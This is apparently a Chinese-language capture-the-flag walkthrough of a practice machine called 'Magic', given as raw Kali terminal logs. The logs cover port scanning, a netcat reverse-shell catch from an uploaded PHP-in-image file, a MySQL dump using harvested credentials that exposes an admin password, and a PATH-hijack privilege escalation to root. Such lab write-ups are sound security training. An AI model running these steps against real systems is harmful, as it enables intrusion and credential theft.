┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -p- -Pn --min-rate=10000 -oG allports 10.10.10.185 [sudo] kali 的密码: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-10 11:03 CST Nmap scan report for 10.10.10.185 Host is up (0.29s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 9.35 seconds
┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -sV -sC -p22,80 -Pn --min-rate=10000 10.10.10.185 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-10 11:04 CST Nmap scan report for 10.10.10.185 Host is up (0.51s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA) | 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA) |_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Magic Portfolio |_http-server-header: Apache/2.4.29 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 26.16 seconds
┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -p- -Pn -sU --min-rate=10000 -oG allports1 10.10.10.185 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-10 11:06 CST Warning: 10.10.10.185 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.10.185 Host is up (0.32s latency). All 65535 scanned ports on 10.10.10.185 are in ignored states. Not shown: 65459 open|filtered udp ports (no-response), 76 closed udp ports (port-unreach)
Nmap done: 1 IP address (1 host up) scanned in 75.54 seconds
┌──(kali㉿kali)-[~/桌面] └─$ dirsearch -u http://10.10.10.185 /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
┌──(kali㉿kali)-[~/桌面] └─$ nc -lvnp 443 listening on [any] 443 ... connect to [10.10.14.8] from (UNKNOWN) [10.10.10.185] 59372 bash: cannot set terminal process group (1198): Inappropriate ioctl for device bash: no job control in this shell www-data@magic:/var/www/Magic/images/uploads$ ls ls 1.jpg 1.php.png 7.jpg giphy.gif logo.png magic-1424x900.jpg magic-hat_23-2147512156.jpg magic-wand.jpg trx.jpg www-data@magic:/var/www/Magic/images/uploads$
www-data@magic:/home/theseus$ www-data@magic:/home/theseus$ cd /var/www/Magic cd /var/www/Magic www-data@magic:/var/www/Magic$ ls ls assets db.php5 images index.php login.php logout.php upload.php www-data@magic:/var/www/Magic$ netstat -ano | grep 3306 netstat -ano | grep 3306 tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN off (0.00/0/0) www-data@magic:/var/www/Magic$ which mysql which mysql www-data@magic:/var/www/Magic$ which mysqldump which mysqldump /usr/bin/mysqldump www-data@magic:/var/www/Magic$
www-data@magic:/var/www/Magic$ mysqldump --user=theseus --password=iamkingtheseus --host=localhost Magic <us --password=iamkingtheseus --host=localhost Magic mysqldump: [Warning] Using a password on the command line interface can be insecure. -- MySQL dump 10.13 Distrib 5.7.29, for Linux (x86_64) -- -- Host: localhost Database: Magic -- ------------------------------------------------------ -- Server version 5.7.29-0ubuntu0.18.04.1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8 */; /*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; /*!40103 SET TIME_ZONE='+00:00' */; /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
-- -- Table structure for table `login` --
DROP TABLE IF EXISTS `login`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `login` ( `id` int(6) NOT NULL AUTO_INCREMENT, `username` varchar(50) NOT NULL, `password` varchar(100) NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `username` (`username`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */;
-- -- Dumping data for table `login` --
LOCK TABLES `login` WRITE; /*!40000 ALTER TABLE `login` DISABLE KEYS */; INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng'); /*!40000 ALTER TABLE `login` ENABLE KEYS */; UNLOCK TABLES; /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */; /*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; /*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; /*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2024-01-09 22:21:03 www-data@magic:/var/www/Magic$
theseus@magic:~$ cd /tmp cd /tmp theseus@magic:/tmp$ echo'bash 1>&0 2>&0' > /tmp/lshw echo'bash 1>&0 2>&0' > /tmp/lshw theseus@magic:/tmp$ chmod +x /tmp/lshw chmod +x /tmp/lshw theseus@magic:/tmp$ ls ls lshw theseus@magic:/tmp$
24、我们通过再次运行,成功获取到root的权限,并读取到了最终的flag信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
theseus@magic:/tmp$ /bin/sysinfo /bin/sysinfo ====================Hardware Info==================== root@magic:/tmp# id id uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus) root@magic:/tmp# cd /root cd /root root@magic:/root# ls ls info.c root.txt snap root@magic:/root# cat root.txt cat root.txt 782bc992e58f8ca21ce081b912f06354 root@magic:/root#